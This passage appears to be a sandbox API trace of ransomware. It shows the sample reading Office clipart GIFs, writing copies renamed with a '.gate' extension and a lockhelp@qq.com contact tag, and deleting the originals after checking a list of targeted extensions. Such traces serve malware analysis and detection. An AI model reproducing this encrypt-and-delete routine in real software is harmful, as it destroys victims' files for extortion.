lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0320.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0320.028] lstrlenW (lpString=".doc") returned 4 [0320.028] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0320.028] lstrlenW (lpString=".docx") returned 5 [0320.028] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0320.028] lstrlenW (lpString=".pdf") returned 4 [0320.028] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0320.028] lstrlenW (lpString=".xls") returned 4 [0320.028] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0320.028] lstrlenW (lpString=".xlsx") returned 5 [0320.028] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0320.028] lstrlenW (lpString=".ppt") returned 4 [0320.028] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0320.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0320.028] lstrlenW (lpString=".zip") returned 4 [0320.028] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0320.028] lstrlenW (lpString=".rar") returned 4 [0320.028] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0320.028] lstrlenW (lpString=".bz2") returned 4 [0320.028] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0320.028] lstrlenW (lpString=".7z") returned 3 [0320.028] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0320.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0320.028] lstrlenW (lpString=".dbf") returned 4 [0320.028] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0320.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0320.028] lstrlenW (lpString=".1cd") returned 4 [0320.028] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0320.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0320.028] lstrlenW (lpString=".jpg") returned 4 [0320.029] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0320.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0320.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0320.029] lstrlenW (lpString=".doc") returned 4 [0320.029] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0320.029] lstrlenW (lpString=".docx") returned 5 [0320.029] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0320.029] lstrlenW (lpString=".pdf") returned 4 [0320.029] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0320.029] lstrlenW (lpString=".xls") returned 4 [0320.029] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0320.029] lstrlenW (lpString=".xlsx") returned 5 [0320.029] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0320.029] lstrlenW (lpString=".ppt") returned 4 [0320.029] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0320.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0320.029] lstrlenW (lpString=".zip") returned 4 [0320.029] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0320.029] lstrlenW (lpString=".rar") returned 4 [0320.029] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0320.029] lstrlenW (lpString=".bz2") returned 4 [0320.029] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0320.029] lstrlenW (lpString=".7z") returned 3 [0320.029] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0320.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0320.029] lstrlenW (lpString=".dbf") returned 4 [0320.029] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0320.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0320.029] lstrlenW (lpString=".1cd") returned 4 [0320.029] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0320.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0320.029] lstrlenW (lpString=".jpg") returned 4 [0320.029] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0320.030] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0320.030] lstrlenW (lpString="AG00164_.GIF") returned 12 [0320.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0320.030] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=13254) returned 1 [0320.030] CloseHandle (hObject=0x378) returned 1 [0320.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif")) returned 0x220 [0320.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0320.030] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.030] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0320.031] GetLastError () returned 0x0 [0320.031] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x33c6, lpOverlapped=0x0) returned 1 [0320.032] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0x33d0, lpOverlapped=0x0) returned 1 [0320.033] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0320.033] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0320.033] SetEndOfFile (hFile=0x37c) returned 1 [0320.033] CloseHandle (hObject=0x37c) returned 1 [0320.033] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.033] SetEndOfFile (hFile=0x378) returned 1 [0320.034] CloseHandle (hObject=0x378) returned 1 [0320.034] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.034] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif")) returned 1 [0320.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0320.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0320.035] lstrlenW (lpString=".doc") returned 4 [0320.035] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0320.035] lstrlenW (lpString=".docx") returned 5 [0320.035] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0320.035] lstrlenW (lpString=".pdf") returned 4 [0320.035] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0320.035] lstrlenW (lpString=".xls") returned 4 [0320.035] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0320.035] lstrlenW (lpString=".xlsx") returned 5 [0320.035] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0320.035] lstrlenW (lpString=".ppt") returned 4 [0320.035] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0320.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0320.035] lstrlenW (lpString=".zip") returned 4 [0320.035] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0320.035] lstrlenW (lpString=".rar") returned 4 [0320.035] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0320.035] lstrlenW (lpString=".bz2") returned 4 [0320.035] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0320.035] lstrlenW (lpString=".7z") returned 3 [0320.035] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0320.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0320.035] lstrlenW (lpString=".dbf") returned 4 [0320.035] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0320.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0320.036] lstrlenW (lpString=".1cd") returned 4 [0320.036] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0320.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0320.036] lstrlenW (lpString=".jpg") returned 4 [0320.036] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0320.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0320.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0320.036] lstrlenW (lpString=".doc") returned 4 [0320.036] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0320.036] lstrlenW (lpString=".docx") returned 5 [0320.036] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0320.036] lstrlenW (lpString=".pdf") returned 4 [0320.036] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0320.036] lstrlenW (lpString=".xls") returned 4 [0320.036] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0320.036] lstrlenW (lpString=".xlsx") returned 5 [0320.036] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0320.036] lstrlenW (lpString=".ppt") returned 4 [0320.036] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0320.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0320.036] lstrlenW (lpString=".zip") returned 4 [0320.036] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0320.036] lstrlenW (lpString=".rar") returned 4 [0320.036] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0320.036] lstrlenW (lpString=".bz2") returned 4 [0320.036] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0320.036] lstrlenW (lpString=".7z") returned 3 [0320.036] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0320.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0320.037] lstrlenW (lpString=".dbf") returned 4 [0320.037] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0320.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0320.037] lstrlenW (lpString=".1cd") returned 4 [0320.037] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0320.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0320.037] lstrlenW (lpString=".jpg") returned 4 [0320.037] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0320.037] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0320.037] lstrlenW (lpString="AG00165_.GIF") returned 12 [0320.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0320.037] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=8582) returned 1 [0320.037] CloseHandle (hObject=0x378) returned 1 [0320.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif")) returned 0x220 [0320.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0320.038] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.038] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0320.039] GetLastError () returned 0x0 [0320.039] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x2186, lpOverlapped=0x0) returned 1 [0320.040] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0x2190, lpOverlapped=0x0) returned 1 [0320.041] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0320.042] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0320.042] SetEndOfFile (hFile=0x37c) returned 1 [0320.042] CloseHandle (hObject=0x37c) returned 1 [0320.042] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.042] SetEndOfFile (hFile=0x378) returned 1 [0320.043] CloseHandle (hObject=0x378) returned 1 [0320.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.043] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif")) returned 1 [0320.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0320.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0320.044] lstrlenW (lpString=".doc") returned 4 [0320.044] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0320.044] lstrlenW (lpString=".docx") returned 5 [0320.044] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0320.044] lstrlenW (lpString=".pdf") returned 4 [0320.044] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0320.044] lstrlenW (lpString=".xls") returned 4 [0320.044] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0320.044] lstrlenW (lpString=".xlsx") returned 5 [0320.044] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0320.044] lstrlenW (lpString=".ppt") returned 4 [0320.044] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0320.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0320.044] lstrlenW (lpString=".zip") returned 4 [0320.044] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0320.044] lstrlenW (lpString=".rar") returned 4 [0320.045] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0320.045] lstrlenW (lpString=".bz2") returned 4 [0320.045] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0320.045] lstrlenW (lpString=".7z") returned 3 [0320.045] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0320.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0320.045] lstrlenW (lpString=".dbf") returned 4 [0320.045] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0320.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0320.045] lstrlenW (lpString=".1cd") returned 4 [0320.045] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0320.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0320.045] lstrlenW (lpString=".jpg") returned 4 [0320.045] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0320.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0320.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0320.045] lstrlenW (lpString=".doc") returned 4 [0320.045] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0320.045] lstrlenW (lpString=".docx") returned 5 [0320.045] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0320.045] lstrlenW (lpString=".pdf") returned 4 [0320.045] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0320.045] lstrlenW (lpString=".xls") returned 4 [0320.045] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0320.045] lstrlenW (lpString=".xlsx") returned 5 [0320.045] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0320.046] lstrlenW (lpString=".ppt") returned 4 [0320.046] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0320.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0320.046] lstrlenW (lpString=".zip") returned 4 [0320.046] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0320.046] lstrlenW (lpString=".rar") returned 4 [0320.046] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0320.046] lstrlenW (lpString=".bz2") returned 4 [0320.046] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0320.046] lstrlenW (lpString=".7z") returned 3 [0320.046] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0320.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0320.046] lstrlenW (lpString=".dbf") returned 4 [0320.046] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0320.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0320.046] lstrlenW (lpString=".1cd") returned 4 [0320.046] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0320.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0320.046] lstrlenW (lpString=".jpg") returned 4 [0320.046] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0320.046] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0320.046] lstrlenW (lpString="AG00167_.GIF") returned 12 [0320.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0320.047] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=4894) returned 1 [0320.047] CloseHandle (hObject=0x378) returned 1 [0320.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 0x220 [0320.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0320.047] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.047] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0320.048] GetLastError () returned 0x0 [0320.048] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x131e, lpOverlapped=0x0) returned 1 [0320.049] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0x1320, lpOverlapped=0x0) returned 1 [0320.050] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0320.050] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0320.050] SetEndOfFile (hFile=0x37c) returned 1 [0320.051] CloseHandle (hObject=0x37c) returned 1 [0320.051] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.051] SetEndOfFile (hFile=0x378) returned 1 [0320.052] CloseHandle (hObject=0x378) returned 1 [0320.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.052] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 1 [0320.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0320.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0320.052] lstrlenW (lpString=".doc") returned 4 [0320.052] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0320.052] lstrlenW (lpString=".docx") returned 5 [0320.052] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned 